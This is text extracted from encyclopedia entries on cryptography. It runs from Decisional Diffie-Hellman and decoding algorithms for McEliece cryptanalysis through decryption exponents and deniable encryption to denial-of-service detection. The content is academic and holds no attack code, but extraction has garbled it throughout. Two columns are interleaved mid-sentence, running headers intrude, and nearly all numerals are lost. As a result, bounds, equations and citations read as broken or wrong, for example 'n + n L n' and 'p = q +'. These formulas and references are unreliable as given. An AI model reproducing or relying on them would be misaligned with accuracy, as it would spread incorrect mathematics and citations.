tain Z (n) = Z(n) n dn (d)n/d cycles.
Another method to construct de Bruijn sequences is
to use recursive algorithms. There exist algorithms that
take as input two de Bruijn sequences of period n and Decentralized Trust Management
produce a de Bruijn sequence of period n .
The linear complexity of a de Bruijn sequence is Trust Management
defined as the length of the shortest linear shift register that
can be used to generate the sequence. The linear complex-
ity L of a binary de Bruijn sequence of period n , n , Decisional DieHellman
satisfies the double inequality, Problem
n + n L n .
Ran Canetti , Mayank Varia

There exist de Bruijn sequences that meet the upper and The Blavatnik School of Computer Sciences, Tel Aviv
lower bounds with equality (see []). University, Ramat Aviv, Tel Aviv, Israel

The quadratic complexity of a de Bruijn sequence is Computer Science and Artificial Intelligence Laboratory
the length of the shortest shift register that generates the (CSAIL), Massachusetts Institute of Technology,
sequence where the feedback function f is allowed to have Cambridge, MA, USA
quadratic terms. The quadratic complexity Q of a binary
de Bruijn sequence of period n , n , satisfies the double
inequality
Synonyms
DDH problem
n
n + Q n ( ) .

Related Concepts
It is known that for any nonsingular Boolean function f , Computational DiffieHellman Problem; Diffie
the number of cycles that it decomposes Bn into has the Hellman Key Agreement; Discrete Logarithm Problem;
same parity as the weight of the truth table of g. Therefore, Finite Field; Group; Pairings
Decisional DieHellman Problem D
Denition Notes
Given a finite, cyclic group G with generator g, and . Sometimes the word computational is omitted and
three elements a, b, c G, the Decisional DiffieHellman this problem is simply called the DiffieHellman
(DDH) problem is to decide whether there exist integers problem.
x, y such that a = g x , b = g y , and c = g xy . The DDH . A four-tuple g, a, b, c that solves the CDH problem is
assumption states that this problem is hard to solve for called a DiffieHellman tuple.
some infinite sequence of groups {Gn }nN of increasing . A solution to the CDH problem is an algorithm that
order. works for all inputs. Hence, the CDH assumption holds
if for all algorithms, there exists at least one input a, b D
Background on which it fails.
The DDH assumption is implicit in many early works . As usual, the algorithm must run in polynomial time
based on the hardness of solving the discrete logarithm in the length of its input, namely in time that is poly-
problem, starting with Diffie and Hellmans key exchange logarithmic in G.
protocol [] (DiffieHellman Key Agreement). It was . The success probability is taken over the random
formalized by Brands [] in the context of undeniable sig- choices of the algorithm. The probability is said to
natures. It was further studied in [, ] and is widely used be negligible if it decreases faster than any inverse
since. For further reading, see Bonehs survey []. polynomial in the length of the input.
. The notions of polynomial time and negligible
probability are asymptotic in nature, so the CDH
Theory assumption must consider an infinite sequence of
The hardness of computing discrete logarithms in groups {Gn }nN . Intuitively, the assumption gives a
some large finite groups has been the basis for many lower bound on the rate at which solving the CDH
cryptographic schemes and protocols in the past problem gets harder as the groups get larger.
decades, starting from the seminal DiffieHellman key . There exist sequences of groups for which the CDH
exchange protocol [], and continuing with encryp- problem is in fact easy.
tion and signature schemes with a variety of security . The assumption can be made with respect to uniform
properties, as well as protocols for numerous other or nonuniform algorithms (i.e., Turing machines or
applications. circuit families.)
Ideally, one would like to prove unconditional state- The CDH assumption is used to prove the security
ments regarding the hardness of computing discrete log- of many cryptographic protocols, but sometimes appears
arithms. However, such a proof is unknown, so instead, to be insufficient. (A quintessential example is the Diffie
mathematical assumptions are formed regarding the com- Hellman key exchange protocol itself.) Furthermore, it
putational hardness of this set of problems, and prop- appears that, at least in some groups, the CDH assump-
erties of cryptographic protocols are proved based on tion captures only part of the intractability of the discrete
these assumptions; refer computational complexity for logarithm problem, so a stronger variant was formulated.
details.
Merely assuming that discrete logarithms are hard to Decisional DiffieHellman (DDH) Problem: Given a finite
compute is too weak for many applications, because it does group G, a generator g of G, and three elements a, b, c
not suffice to prove the security of many cryptographic G, decide whether g, a, b, c is a DiffieHellman tuple.
protocols. Instead, stronger assumptions were formulated DDH Assumption (Version I) : Every probabilistic poly-
that were inspired by the DiffieHellman key exchange nomial-time algorithm only solves the DDH problem
protocol []. with negligible probability.
Computational DiffieHellman (CDH) Problem: Given a The notes about the CDH definitions also apply here.
finite, cyclic group G with generator g, and two group In particular, the DDH problem is a worst-case compu-
elements a = g x , b = g y , compute the element c = g xy . tational problem, so a candidate solution must solve the
CDH Assumption: Every probabilistic polynomial-time problem on all inputs.
algorithm only solves the CDH problem with negligi- This definition makes it clear that the DDH problem
ble probability for a given infinite sequence of groups reduces to CDH, and in fact DDH appears to be a consid-
{Gn }nN of increasing order and for any two group erably easier problem. There are groups in which the DDH
elements a, b Gn . assumption is clearly false, but the CDH assumption may
D Decisional DieHellman Problem
still hold (these are called gap DiffieHellman groups, see p, q are primes. (Here, the larger prime p is called a safe
below for more details). prime, and the smaller prime q is called a SophieGermain
Another formulation of the DDH assumption, which is prime.) Now the quadratic residuosity attack fails because
more useful in practice, only discusses the case where the everything in G is a quadratic residue. In fact, the DDH
inputs are taken from certain distributions. assumption is believed to hold on G.
On the other hand, there are applications in which
DDH Assumption (Version II) : The following two distribu-
it is desirable that the DDH problem is easy to solve.
tions are computationally indistinguishable:
The juxtaposition between the difficulty to compute a
G, g, g x , g y , g xy
DiffieHellman tuple and the ease with which it can be
G, g, g x , g y , g z
verified can be exploited to create encryption and sig-
where g is a generator of G and x, y, z are chosen
nature schemes with many nice properties. One famous
uniformly at random from {, . . . , G}.
sequence of gap groups that has been used in this manner
More formally, the above two distributions are actu-
are elliptic curve groups with associated Weil pairings.
ally two distribution ensembles, namely two families
It is believed that the CDH assumption holds for these
of distributions where each distribution in a family is
groups, but the DDH problem is easy to solve using the
parameterized by the group G and the generator g. The
bilinear pairing [, ]. This is true in spite of the fact that
ensembles are computationally indistinguishable if,
elliptic curve groups have prime order, like the groups G
given a set of parameters (in this case, G and g), no
above, so there are no attacks for testing inclusion in a sub-
polynomial-time algorithm can tell whether its input
group (like the quadratic residuosity attack on Fp ). Hence,
is drawn from the first ensemble or from the second.
primality is not a sufficient condition for DDH to hold.
See [] for more details.
The most well-known application of bilinear pairings is in
In words, this version of the DDH assumption states the development of identity-based encryption and signa-
that DiffieHellman tuples are indistinguishable from ran- ture schemes, although there are many other uses for these
dom. Hence, even when g x and g y are known, the value gap groups [, , ].
g xy appears to be a freshly chosen random and inde-
pendent number from the point of view of any compu-
tationally bounded attacker that does not know x or y. Applications
This holds in spite of the fact that the value g xy is uniquely The DDH assumption proves to be very useful in cryp-
determined by g x and g y , and thus its entropy, in the tographic analysis of protocols. It is immediate to show
information-theoretic sense, is in fact zero. based on DDH that DiffieHellman key exchange results
It is shown in [, ] that the two versions of the DDH in a semantically secure key, i.e., a key that is indistin-
assumption are equivalent. (Essentially, equivalence holds guishable from random. (It is not known how to prove
due to the random self-reducibility of the discrete logarithm this statement based on CDH alone.) Similarly, it implies
problem.) the semantic security of ElGamal public-key encryption.
More recently, it has been used to construct public-key
Candidate Groups encryption schemes with additional properties, such as
One prominent group believed to satisfy the CDH assump- chosen ciphertext security (protection against an adversary
tion is the multiplicative group of a finite field Fp for a with access to a decryption oracle) [], circular security
prime p. However, it turns out that the DDH problem is (encryption that remains secure even when the encrypted
easy to solve in Fp , so Fp is a gap group. The key issue message depends on the secret key) [], and leakage
is the existence of an efficient test for quadratic residues resilience (a scheme that withstands leaking some infor-
(elements that are the square of another element in Fp ). mation about the secret key to the adversary) []. In addi-
This yields an algorithm to solve the DDH problem: if the tion, it is used to prove the security of other cryptographic
input is a DiffieHellman tuple, then it is never the case that primitives such as efficient pseudorandom functions [],
the last element is a quadratic non-residue but the preced- commitment schemes, and zero-knowledge protocols
ing two elements are quadratic residues, but if the input [, ].
is chosen uniformly, then the above event happens with The DDH assumption is only one of many assump-
noticeable probability. tions that can be made on the intractability of the discrete
However, exploiting quadratic residuosity appears to logarithm problem. Several variants have been considered
be the only way to solve the DDH problem in Fp . Con- in the literature, some that are stronger (allowing to prove
sider the subgroup G Fp of size q, where p = q + and stronger security properties of protocols), and some that
Decoding Algorithms D
are weaker (and are believed to hold even in cases where . Diffie W, Hellman M () New directions in cryptography.
DDH does not). A few examples are described here. IEEE Trans Info Theory IT-:
. Dodis Y () Efficient construction of (distributed) verifiable
One stronger variant allows the exponents x, y to be
random functions, cryptology ePrint archive, report /,
chosen from distributions other than uniform, or even in http://eprint.iacr.org/
a semi-adversarial way []. As long as the distribution has . Dutta R, Barua R, Sarkar P () Pairing-based cryptography:
enough entropy that it is not easy to guess x and y, it is a survey. cryptology ePrint archive, report /. http://
still assumed that g xy is indistinguishable from random. eprint.iacr.org/
. Gagn M () Identity-based encryption: a survey. Crypto-
Another variant (really, a family of variants) considers
Bytes ():
the possibility of computing more complicated functions
in the exponent. These uber DDH assumptions claim
. Goldreich O () Foundations of cryptography: volume D
basic tools. Cambridge University Press, Cambridge
that given g, g x , g y , and a polynomial f of degree at least . Joux A, Nguyen K () Separating decision Diffie-Hellman
, it is hard to distinguish g f (x,y) from random [, ]. from Diffie-Hellman in cryptographic groups. Cryptology
ePrint archive, report /. http://eprint.iacr.org/
This family of assumptions (parameterized by f ) general-
. Lysyanskaya A () Unique signatures and verifiable random
izes the standard DDH assumption in which f (x, y) = xy. functions from the DH-DDH separation. In: CRYPTO
Other stronger variants are formalized in [, , ]. While . Naor M, Reingold O () Number-theoretic constructions of
these assumptions are stronger than the standard DDH efficient pseudo-random functions, Extended abstract. In: Pro-
assumption, they are also consistent with the current state ceedings of th IEEE Symposium on foundations of computer
science. IEEE Computer Society, pp
of complexity theory. Finally, one example of a weaker
. Naor M, Segev G () Public-key cryptosystems resilient to
variant is to give the DDH distinguisher access only to a key leakage. In: Crypto . LNCS, vol . Springer, pp
hashed version of the last element (either g xy or g z ) []. . Okamoto T, Pointcheval D () The gap-problems: a new class
of problems for the security of cryptographic schemes. Practice
and theory in public key cryptography (PKC) . LNCS, vol
. Springer, pp
Recommended Reading . Pedersen TP () Distributed provers with applications
. Abdalla M, Bellare M, Rogaway P () DHIES: an encryp- to undeniable signatures. EUROCRYPT. LNCS, vol .
tion scheme based on the Diffie-Hellman problem. In: Topics in Springer, pp
cryptology CT-RSA. LNCS, vol . Springer, London, UK, . Stadler M () Publicly verifiable secret sharing. In: Eurocrypt
pp . LNCS, vol . Springer, pp
. Boneh D () The decision Diffie-Hellman problem. In: Pro-
ceedings of the third algorithmic number theory symposium.
LNCS, vol . Springer, pp
. Boneh D, Boyen X, Goh E () Hierarchical identity based
encryption with constant size ciphertext. In: proceedings of Decoding Algorithms
Eurocrypt . LNCS, vol . Springer, pp
. Boneh D, Halevi S, Hamburg M, Ostrovsky R () Circular-
secure encryption from Decision Diffie-Hellman. In: proceed- Christiane Peters
ings of Crypto . LNCS, vol . Springer, pp Department of Mathematics and Computer Science,
. Boneh D, Silverberg A () Applications of multilinear forms Technische Universiteit Eindhoven, The Netherlands
to cryptography. In: Proceedings of the conferences in memory
of Ruth Michler, contemporary mathematics, American Math-
ematical Society. Cryptology ePrint Archive, Report /.
http://eprint.iacr.org/ Synonyms
. Boyen X () The Uber-assumption family: a unified com- Error-correction decoding; List decoding
plexity framework for bilinear groups. In: nd international
conference on pairing-based cryptography. LNCS, vol .
Springer, pp Related Concepts
. Brands S () An efficient off-line electronic cash system BerlekampMassey Algorithm; Code-Based Cryptog-
based on the representation problem. CWI TR CS-R raphy; Cyclic Codes; McEliece Public Key Cryptosys-
. Canetti R () Toward realizing random oracles: hash func-
tem; Niederreiter Encryption Scheme
tions that hide all partial information. In: Advances in cryptol-
ogy CRYPTO. LNCS, vol . Springer, pp
. Cramer R, Shoup V () A practical public-key cryptosystem Denition
provably secure against adaptive chosen ciphertext attack. In:
A decoding algorithm for a linear code C over Fq receives a
CRYPTO . LNCS, vol . Springer, pp
. Damgrd I () Efficient concurrent zero-knowledge in the
vector y in Fnq and a positive integer w as inputs. The output
auxiliary string model. In: Eurocrypt. LNCS, vol . Springer, is the set of all elements c C at distance at most w from y;
pp the set is empty if there is no such c.
D Decoding Algorithms
Background and distance when speaking of the Hamming weight or the

Error-correcting codes are used to protect information Hamming distance.
which is sent over noisy channels. Instead of sending a For a vector y Fnq a decoding algorithm outputs the
message directly the corresponding codeword in an error- codewords closest to y. An error vector is a vector e Fnq
correcting code is sent over the channel. During this trans- such that y e lies in C. If d is the minimum distance of
mission some errors might occur. On the other end of C then for each y there is at most one codeword c within
the channel the receiver tries to retrieve the codeword by distance at most w (d )/ from each y. In particular,
correcting those errors using a decoding algorithm. If the a linear code with minimum distance d has error-correcting
decoding process is successful the receiver can retrieve capability (d )/. A list-decoding algorithm allows w >
the original message from the codeword. The efficiency (d )/ and outputs a (possibly empty) list of closest
of such a decoding algorithm depends on the used code. codewords to a given vector y.
There are many families of codes allowing fast and effi- The linear codes that are interesting candidates for
cient error correction. Examples for codes with efficient the McEliece public-key cryptosystem are codes allowing
decoding algorithms are Hamming codes, cyclic codes, fast error correction.
BCH codes, (generalized) Reed-Solomon codes, Reed- For further background on coding theory, the main
Muller codes, Goppa codes, rank codes, Gabidulin codes, references are [], [], and [].
algebraic-geometric codes, etc.
Classically error-correcting codes are used for com- Application
munication over noisy channels which appear in all forms For code-based cryptography McEliece proposed to use
of telecommunication; but codes are also of interest for Goppa codes [] subfield subcodes of generalized Reed-
storing data using compression. McEliece proposed to Solomon codes which arise from BCH codes. The Goppa
use error-correcting codes for public-key cryptography. code q (a , . . . , an , g) of length n is defined by an irre-
In the public-key setting the data transmission is assumed ducible polynomial g(x) Fqm [x] of degree t and n
to be error-free and errors are deliberately introduced in a distinct elements a , . . . , an Fqm such that g(ai ) =/ . The
codeword as part of the encryption process. codewords in q (a , . . . , an , g) are all (c , . . . , cn ) Fnq with
i ci /(x ai ) (mod g(x)). Note that the codewords
of q (a , . . . , an , g) are defined over Fq .
Theory The legitimate receiver of a McEliece or Niederreiter
A linear code C is a vector space over a finite field Fq rep- ciphertext can retrieve the message by using a decod-
resented as a subspace of Fnq for some nonnegative integer ing algorithm for Goppa codes. An attacker on the other
n, called the length of the code. Elements of the vector space hand cannot make use of the hidden Goppa-code struc-
are called codewords. The dimension of the code is defined ture and is faced with the problem of decoding a random-
as the dimension of the vector space. looking code.
A code of dimension k and length n can be given via a Decoding Goppa codes. Berlekamp developed an algo-
k n generator matrix G so that codewords c are obtained rithm for decoding binary BCH codes and generalized it
from vectors x Fkq as xG or via an (nk)n parity check later to BCH codes over arbitrary fields. When the same
matrix H so that codewords c are those vectors of length n algorithm is applied to LFSRs it is called the Berlekamp-
that satisfy Hc = . The product Hy is called the syndrome Massey algorithm. Berlekamps algorithm is given a vec-
of y; so codewords are vectors with syndrome . tor y in Fnq such that dist(y, c) = w for a closest codeword
The matrix can have a special structure, see e.g. c in a q-ary BCH code C of length n and designed min-
cyclic codes, and often a different description is used for imum distance . The algorithm works for w as large as
efficiency. ( )/.
The Hamming distance dist(x, y) between two vectors Given y at distance w from c q (a , . . . , an , g)
x, y in Fnq is the number of coordinates where they differ. Berlekamps algorithm finds the error-locator polynomial
The Hamming weight wt(x) of an element x Fnq is the (x) = i:yi =/ ci (x ai ) and the error-evaluator polynomial
number of nonzero coordinates in x. The minimum dis- (x) = i:yi =/ ci ei j/=i (x aj ) if w t/. The algorithm
tance of a nonzero linear code C is the smallest Hamming first computes the syndrome sy (x) = i yi /(x ai ) of
weight of a nonzero codeword in C. y and then solves the key equation sy (x) = (x)/(x)
The Hamming distance is a metric on Fnq . Note that the (mod g(x)) for and by computing continued frac-
Hamming weight of a word is equal to its distance to the tions to degree t/, i.e., by applying the Euclidean algo-
all-zero word in Fnq . It is common to simply write weight rithm to g and sy . Then the error values ei are given as
Decoding Algorithms D
ei = (ai )/(ai ) where denotes the derivative of the A more detailed description of the Guruswami-Sudan
error-locator polynomial. decoder is given in [, Section ..] for generalized Reed-
For binary Goppa codes, i.e. Goppa codes with q = , Solomon codes.
Patterson [] derived an algorithm which computes the Generic decoding. Finding a good decoding algo-
error-locator polynomial (x) for w t and thus corrects rithm for a general linear code is a difficult problem.
up to t errors, twice as many as Berlekamps algorithm. An attacker of the McEliece public-key cryptosystem
Patterson writes (x) as + x . Consequently = or the Niederreiter encryption scheme is faced with a
for binary codes and the key equation can be rewritten in parity-check matrix of a code with no obvious structure
terms of and to recover these polynomials separately. and a syndrome. The goal is to determine a low-weight
Both Berlekamps and Pattersons algorithm can be word e such that Het = s for the given syndrome s.
D
implemented efficiently and have polynomial-time This problem is called the syndrome-decoding problem.
complexities. The corresponding decision problem was proven NP-
Guruswami and Sudan in [] developed a polynomial- complete for binary linear codes in []. For the q-ary case
time list-decoding algorithm for decoding beyond the see [] and [, Theorem .]. The best method currently
minimum distance of BCH codes, generalized Reed- known to decode a random-looking code is information-
Solomon codes, and algebraic-geometric codes. The set decoding, an algorithm introduced by Prange in
Guruswami-Sudan decoder corrects < n (k )n [].
errors in a generalized Reed-Solomon code of length n and An information set of a linear code of length n and
dimension k. dimension k with generator matrix G is a size-k subset
The main idea is to make use of the one-to-one corre- I {, . . . , n} such that the columns of G indexed by I form
spondence of a generalized Reed-Solomon code of length n an invertible k k submatrix; this submatrix is denoted
and degree k and the vector space of polynomials f in Fq [x] by GI . In particular, G I G is a generator matrix for C in sys-
of degree strictly less than k. Evaluating those polynomials tematic form, i.e., G I G = (Ik Q) where Q is a k (n k)
f at the n distinct support elements of the code and multi- matrix. An information-set decoding algorithm hopes that
plying by constants yields all codewords. For example, the the error vector e has a certain error pattern with respect
Goppa code q (a , . . . , an , g) is the set to a given information set I. Plain information-set decoding
hopes that no error occurred among the I-indexed posi-

{(f (a )/h (a ), . . . , f (an )/h (an )) : f gFqm [x], tions of y. Then, yI G I is the preimage of a codeword c C
and c can be obtained as (yI G I ) G. The extension by Lee
deg( f ) < n} and Brickell [] allows p errors in positions indexed by the
information set. These p errors can be corrected by find-
restricted to the n-tuples having all entries in Fq where ing the p rows of G corresponding to error indices in I.
h(x) = i (x ai ). Leon in [] and also Krouk in [] refine Lee-Brickells
The goal is to construct a polynomial f gFqm [x] algorithm by additionally requiring that the error pattern
from the received vector y = (y , . . . , yn ) such that has weight on a stretch of positions outside the infor-
yi =/ f (ai )/h (ai ) for at most w positions i. Note that mation set. Stern [] uses the idea of Lee and Brickell to
the bivariate polynomial z f (x)/h (x) vanishes at all allow p errors in the information set I. He also uses Leons
(x, z) = (ai , yi ) where yi = / f (ai )/h (ai ). A Guruswami- idea to restrict the number of possible candidates for the
Sudan error-locator polynomial (x, z) means a polyno- error word e to those vectors having zeros outside the
mial having the points (ai , yi ) as zeros for all i with yi =/ I-indexed columns. The main difference to Lee-Brickells
f (ai )/h (ai ). Then the polynomial p(x, z) = (x, z)(z and Leons algorithms is that Sterns algorithm tries to build
f (x)/h (x)) is zero at all n points (ai , yi ). Guruswami a weight-w word by first looking for collisions among sums
and Sudan interpolate the points (ai , yi ) into a polynomial of few columns restricted to certain positions and then
p(x, z) where each (ai , yi ) appears with a certain multiplic- checks the weight of the column sums arising from the
ity. Then they find a factor of the form z f (x)/h (x) of collisions.
p(x, z) where f has to have the desired properties. The state-of-the-art implementation of collision
The Guruswami-Sudan decoder corrects about n decoding for binary linear codes used to break the orig-
n(n t) > t/ errors in q (a , . . . , an , g). Bernstein inal McEliece parameters is described in []. A gen-
[] developed a list-decoding algorithm using Pattersons eralization of the attack to to codes over arbitrary
idea to correct up to n n(n t ) > t errors in fields together with a careful complexity analysis is
(a , . . . , an , g). given in [].
D Decryption Exponent
All information-set decoding algorithms, though much . Stern J () A method for finding codewords of small weight.
more efficient than a brute-force search of a low-weight In: Cohen GD, Wolfmann J (eds) Coding theory and appli-
cations. Lecture notes in computer science, vol . Springer,
word, still need exponential time in the code length.
Berlin, pp
List decoding in code-based cryptography. Bernstein,
Lange, and Peters suggest in [] to decrease the size of the
public key in McElieces system by increasing the number
of errors beyond half the minimum distance. The legiti-
mate receiver can correct these errors using list decoding. Decryption Exponent
The attacker is faced with the task of correcting additional
errors, making the attack harder for fixed n and k. Burt Kaliski
Office of the CTO, EMC Corporation, Hopkinton,
MA, USA
Recommended Reading
. Barg A () Some new NP complete coding problems. Prob-
lemy Peredachi Informatsii ():, in Russian Synonyms
. Barg A () Complexity issues in coding theory, chapter . In: Private exponent
Huffman WC, Pless V, Brualdi RA (eds) Handbook of coding
theory. Elsevier/North Holland, Amsterdam, pp
. Berlekamp ER, McEliece RJ, van Tilborg HCA () On the Related Concepts
inherent intractability of certain coding problems. IEEE Trans RSA Digital Signature Scheme; RSA Public-Key
Inf Theory : Encryption
. Bernstein DJ () List decoding for binary Goppa codes.
http://cr.yp.to/papers.html#goppalist
. Bernstein DJ, Lange T, Peters C () Attacking and defend-
Denition
ing the McEliece cryptosystem. In: Buchmann J, Ding J (eds) The exponent d in an RSA private key (n, d) is called the
PQCrypto . Lecture notes in computer science, vol . decryption exponent. It is related to the encryption expo-
Springer, Berlin, pp nent e by the relation that the product by the relation that
. Dumer I () Two decoding algorithms for linear codes. for all messages m, (me )d m mod n. This relation is sat-
Problemy Peredachi Informatsii ():
. Dumer I () On minimum distance decoding of linear codes.
isfied if the product e d is congruent to modulo (n),
In: Kabatianskii GA (ed) Proceedings th Joint Soviet-Swedish where (n) is > Eulers totient function. (It is also satis-
International Workshop Information Theory, Moscow, pp fied if e d mod (n), where (n) is a certain function
. Goppa VD () A new class of linear error correcting codes. of the prime factors of n that divides (n), although the
Problemy Peredachi Informatsii (): (n) relation is more commonly used.)
. Guruswami V, Sudan M () Improved decoding of Reed-
Solomon and algebraic-geometry codes. IEEE Trans Inf Theory
Decryption of a ciphertext c works by raising c to the
: power d modulo n.
. Huffman WC, Pless V () Fundamentals of error-correcting
codes. Cambridge University Press, New York
. Huffman WC, Pless V, Brualdi RA () Handbook of coding
theory. Elsevier/North Holland, Amsterdam
. Krouk EA () Decoding complexity bound for linear block
Deniable Encryption
codes. Problemy Peredachi Informatsii ():
. Lee PJ, Brickell EF () An observation on the security Yvo Desmedt
of McElieces public-key cryptosystem. In: Gnther CG (ed) Department of Computer Science, University College
EUROCRYPT . Lecture notes in computer science, vol . London, London, UK
. Jeffrey JS () A probabilistic algorithm for computing min-
imum weights of large error-correcting codes. IEEE Trans Inf Denition
Theory ():
. MacWilliams FJ, Sloane NJA () The theory of error-
Deniable encryption produces ciphertexts that are not a
correcting codes. Elsevier/North Holland, Amsterdam commitment.
. Patterson NJ () The algebraic decoding of Goppa codes.
IEEE Trans Inf Theory IT-: Theory
. Peters C () Information-set decoding for linear codes
Suppose Alice sends a message to Bob in an informal
over Fq. In: Sendrier N (ed) PQCrypto : Lecture notes in
chat conversation. If a typical encryption scheme as the
. Prange E () The use of information sets in decoding cyclic ElGamal public key encryption scheme or AES is used,
codes. IRE Trans Inf Theory (): an authority can ask Alice to reveal what she sent Bob.
Denial-of-Service Detection D
Indeed, in the case of ElGamal, when Alice did sent

(C , C ) = (g r , myr ) and is forced to reveal her ran- Denial of Service (DoS)
domness r used, anybody can obtain m. So, one can view
the ciphertext as some commitment to the message. Denial-of-Service Detection
In the case of AES, when Alice is forced to reveal the key
she shares with Bob, the authority again can obtain the
message. (Using zero-knowledge, Alice is not required to
reveal the key.)
Denial-of-Service Detection
The goal of deniable encryption [] is that Alice can
send a private message to Bob, without having the cipher-
George Kesidis D
Computer Science & Engineering and Electrical
text result in a commitment. This can be viewed as allowing
Engineering Departments, Pennsylvania State University,
her to deny having sent a particular message. A scheme sat-
University Park, PA, USA
isfying this condition is called a sender-deniable encryption
scheme.
There is a similar concern from Bobs viewpoint. Can Synonyms
Bob be forced to open the received ciphertext? Again, if Denial of service (DoS)
the ElGamal public key encryption scheme is used, then
using his secret key, Bob can help the authority to decipher. Denition
So, Bob cannot deny having received the message. A Detection of denial-of-service (DoS) attacks
scheme that solves this issue is called a receiver-deniable
encryption scheme. Background
An example of a sender-deniable scheme explained Denial-of-service (DoS) attacks either use a resource-
informally works as follows. Suppose the sender (Alice) depletion strategy (where resource here refers to band-
and the receiver (Bob) have agreed on some pseudoran- width, computation, or memory), or they target other
domness, such that both can distinguish it from true ran- kinds of vulnerabilities in critical protocols or devices
domness. When Alice wants to send a message bit , she whose failure will have DoS effects. In the following, the
will send some pseudorandom string, otherwise she sends focus will be on resource-depletion DoS attacks. Such
true randomness. Since the authority cannot distinguish attacks can be detected based on signatures developed
the pseudorandom from the real random, Alice can pre- through some type of supervised learning process. Alter-
tend she sent the opposite bit of what she did. For further natively, detection can be based on statistical anomalies
details, see []. (i.e., deviations from the somehow characterized nor-
Canetti, Dwork, Naor, and Ostrovsky demonstrated mal) in observed patterns of resource consumption,
that a sender-deniable encryption scheme can be trans- together with a possibly dynamic assessment of the quan-
formed into a receiver-deniable one as follows. tity of available resources that are targeted. In particular,
anomaly detection can be based on learned behavioral
Step The receiver (Bob) sends the sender (Alice) a profiles of packet flows (network monitor), or profiles of
random r using a sender-deniable encryption processes operating in network routers or in end hosts,
scheme. including servers (host monitor). That is, a network mon-
Step The sender Alice sends Bob the ciphertext r m, itor directly observes packets on the wire, or tracks asso-
where is the exor. ciated flow or meta-flow aggregate data, where a flow
is simply a group of packets observed proximal in time
with some common attributes, e.g., common IPv five-
A receiver-deniable scheme can also be transformed tuple or just common-source IP addresses and destination
into a sender deniable one, as explained in []. port numbers. Bidirectional flows, allowing source and
destination addresses to be swapped, are sometimes called
sessions. Network monitors are often colocated with fire-
Recommended Reading walls. A host monitor bases attack detection on logs of
. Canetti R, Dwork C, Naor M, Ostrovsky R () Deni-
system calls, computational activity, memory input/output
able encryption. In: Kaliski BS (ed) Advances in cryptology
Crypto , Proceedings, Lecture notes in computer science, vol
(I/O), etc.; packet traffic that the host receives may be
, Springer-Verlag, Santa Barbara, California, August, directly monitored (as with a network monitor) or inferred
pp through these logs.
D Denial-of-Service Detection
Theory abrupt change points using sequentially updated CUSUM

Given data features of interest, statistics such as averages, statistics), it issues an alert. Anomaly detection is generally
variances, and entropy have been computed for purposes challenging in networking, as the normal behavior is very
of detection; alternatively, spectral coefficients (frequency complex, not time-stationary, and feature-rich.
domain meta-features) of localized time series have been There is a large number of related and hybrid machine-
used. Entropies are examples of statistics that are meaning- learning techniques that can be applied, e.g., transductive
ful to the distributions of observed categorical (nonnumer- and semi-supervised methods. For any given detection
ical) or ordinal (numerical but unordered) data, e.g., the technique, there may be several possible ways to imple-
entropy of the range of destination IP addresses (or subnets ment and maintain it (e.g., recalibrate and age-out data)
of a certain size) observed in a specified flow of packets. online.
Entropy is maximal for a uniform (least-biased) distribu- Detection-performance evaluation is conducted on a
tion and minimal for a deterministic (single-valued) one. held-out group of prerecorded datasets collectively called
Entire distributions of the features of interest, possibly the test set and, of course, online. Detection performance
quantized for simplicity, can be maintained and then com- may be specified in different ways. In networking, partic-
pared by, e.g., a chi-squared statistic or KullbackLiebler ular attention is paid to false positives, as a response to
distance, as discussed below. The distribution of certain a DoS attack may itself manifest as a DoS on legitimate
features will deterministically vary as a function of time traffic. It may be difficult to discriminate between a flash-
of day, day of week, or holiday; a moving or autoregressive crowd occurrence, just when new and popular content or
average can be used to center statistics of such features, i.e., services are made available, for a deliberate DoS attack on
subtract their current average values. Some attacks have the providers. In a NeymanPearson formulation, attack
stateful time-sequenced signatures, or behaviors, which detection strives to minimize false negatives subject to be
can sometimes be accurately captured by hidden Markov bound on false positives. Prior probabilities of attack
models (HMMs). and non-attack scenarios need not be pre-calculated, as in
A supervised learning method exploits labeled datasets Bayesian decision frameworks.
that are available for training a classification rule. That is, For example, let p be the empirical distribution of a par-
the objective of training is to specify a rule that, when ticular flow or packet feature f , i.e., p(i) is the total num-
tested true for a particular dataset, would be characteristic ber of observed instances of labeled data samples where
of a particular attack, i.e., a signature of the attack. f = i, where the dummy variable i indexes the range I
For training purposes, datasets are labeled as having of possible values of the feature (this range may be quan-
a specific type of attack present (true positive) or not tized to simplify matters). Now let q be the distribution
(true negative), i.e., the labeling constitutes ground truth. of the same feature on an observed test dataset or live
The assumption is that the datasets are current and rep- online. An alert of suspicious activity could be generated
resentative of the particular online (i.e., with live traf- if the KullbackLeibler distance between p and q exceeds a
fic) deployment context of the detector that will employ threshold, i.e.,
the rule under consideration. Signature-based detection
KL (p, q) := iI p (i) log (p (i) /q (i)) > H
is limited in that it works best for known attacks and,
despite the connotations of the word signature, are where H is chosen so that this rule yields low false posi-
often associated with nonzero false positive (signature tives and negatives in the training dataset. Note that KL is
true but no attack present) and/or nonzero false nega- clearly related to the entropy of p, iI p(i) log p(i), and
tive (signature false but there is an attack present) per- the range of f and I need not be ordered. There are gen-
formance. Firewalls are often employed to test packets for eralizations of such distances, e.g., between learned and
simple signatures (those requiring little state memory). measured HMM models. It is often the case in practice that
Note that signature-based attack detection requires explicit the threshold used for a signature Hs is less than that to
specification of attributes of the data being monitored determine a merely suspicious anomaly, Ha < Hs , so that
(markers of the attack) that can be feasibly tested for it is more likely to issue an anomaly alert than a signature
online usage. alert. Again, this does not preclude the possibility of false
Anomaly detection learns to statistically character- positives or false negatives if Hs is used.
ize normal behavior, particularly of the patterns of To improve detection performance, alerts which are
resource consumption for detection of DoS attacks. When issued by different detection techniques may be corre-
a monitor detects resource-consumption patterns that lated and combined into meta-alerts (i.e., for the purposes
deviate significantly from the norm (as in detection of of attack corroboration). Alerts may be correlated based
on observations from spatially diverse points in the net- is a critical protocol of the autonomous system (AS) in
work and fused in a spatially hierarchical manner, and/or which it operates, its possible failure at any point could
based on activity in different layers of the protocol hierar- deny Internet access to a large community of servers and
chy. To economize on bandwidth, alert messages are typi- end users.
cally exchanged instead of raw observation data. Spatially Note that packet transmission/receipt by the host can
diverse, hierarchical attack detection systems are partic- be measured directly or can be inferred from OS logs, i.e.,
ularly useful for detecting and responding to distributed bandwidth resource consumption. Either way, a physical
DoS (DDoS) attacks. Some attacks may be both spatially attack targeting network infrastructure (e.g., cutting the
and temporally staged. cables on which packets travel, thus breaking communica-
tion) is easily detected by the affected end hosts. To reduce
D
the overhead on the native OS of attack detection itself,
Applications and to protect attack detection from an intruder in the
Host Monitors native OS, packet examination can be performed by attack-
